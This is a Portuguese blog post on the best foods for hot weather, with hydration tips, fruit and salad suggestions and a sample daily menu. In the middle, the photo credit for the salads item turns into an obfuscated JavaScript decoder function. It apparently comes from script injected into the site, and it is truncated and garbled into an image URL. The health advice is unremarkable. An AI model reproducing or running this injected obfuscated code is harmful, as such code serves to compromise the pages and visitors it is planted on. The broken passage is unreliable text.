Os melhores alimentos para os dias de calor

Jun 7, 2017 | Saúde e bem estar

Os melhores alimentos para os dias de calor

Está quase a chegar o verão mas os dias de calor  já se fazem sentir. Além de ser absolutamente fundamental manter-se hidratado, o calor pede alimentos ricos em vitaminas e minerais. Por isso, hoje dou-lhe os melhores alimentos para comer em dias de calor. Coma e hidrate-se bem!

Nos dias mais quentes é aconselhável alimentos mais leves, beber 1,5 a 2 litros de água ou água de coco, sumos de fruta não açucarados e chás gelados para ajudar a refrescar o corpo, afastando assim o calor e evitando a desidratação.

Deve evitar refeições ricas em gorduras e fritos, já que dificultam a digestão, fazendo com que o corpo fique ainda mais quente.

Os melhores alimentos para comer em dias de calor - Beber água | Foto: dicasdieta

Assim sendo, os alimentos mais indicados para estes dias quentes são:

1 - O ideal é beber muita água e sumos naturais, que irão hidratar o seu organismo. Estes são óptimos para vencer o calor. Chá gelado também é uma óptima opção, ao qual pode acrescentar gelo e ingredientes como hortelã, limão e gengibre. Nada de açúcar, mas um pouquinho de mel é permitido!

Os melhores alimentos para comer em dias de calor - Sumos de fruta | Foto: oitomeia

2 - Os alimentos que mais hidratam e refrescam o organismo são os que possuem um elevado conteúdo de água e sais mineiras. Logo, tente ingerir muita fruta, verduras, legumes, cereais e pães integrais. A fruta ideal é melancia, morango, melão, entre outros. Inclua legumes e verduras no maior número possível de refeições.

Os melhores alimentos para comer em dias de calor - Fruta | Foto: bemol

3 - As saladas são um alimento óptimo para os dias de calor por serem leves e de fácil digestão. Prepare uma que seja composta por nutrientes e proteínas, como rabanete, tomate, nabo, couve-flor e cenoura.

Os melhores alimentos para comer em dias de calor - Saladas | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaande.jpg?v=1474299027"> shopify

4 - Prefira carnes magras, que possibilitam uma melhor digestão.

Os melhores alimentos para comer em dias de calor - Carnes magras | Foto: dicasdieta

5 - Cuidado com alimentos que contém leite, gordura e ovos. Com o calor estes alimentos podem estragar-se se não estiverem bem frescos e podem provocar intoxicações alimentares.

Os melhores alimentos para comer em dias de calor - Alimentos ricos em leite | Foto: dicasdemulher

6 - Os alimentos crus, como verduras, devem ser muito bem lavados antes de serem consumidos.

Os melhores alimentos para comer em dias de calor - Verduras | Foto: rbj

Deixo-lhe agora um cardápio óptimo para dias de calor:

- Café da manhã: iogurte com granola e morangos

- Almoço: salada de rúcula, tomate, pimentão, cogumelos, frango desfiado e macarrão integral. Tudo isto pode ser temperado com azeite e vinagre e pode optar por comer melão à sobremesa.

- Lanche: vitamina de abacate com gelo ou sumo de laranja com torradas.

- Jantar: salada de alface, milho, cenoura, pepino e atum com arroz integral. Para sobremesa pode optar por melancia.

Se gostou de saber quais são os melhores alimentos para comer em dias de calor, descubra também qual a melhor hora para consumir que alimento e quais as quantidades ideais de cada alimento. Descubra ainda quais os mitos alimentares mais frequentes e qual a quantidade de água que deve beber.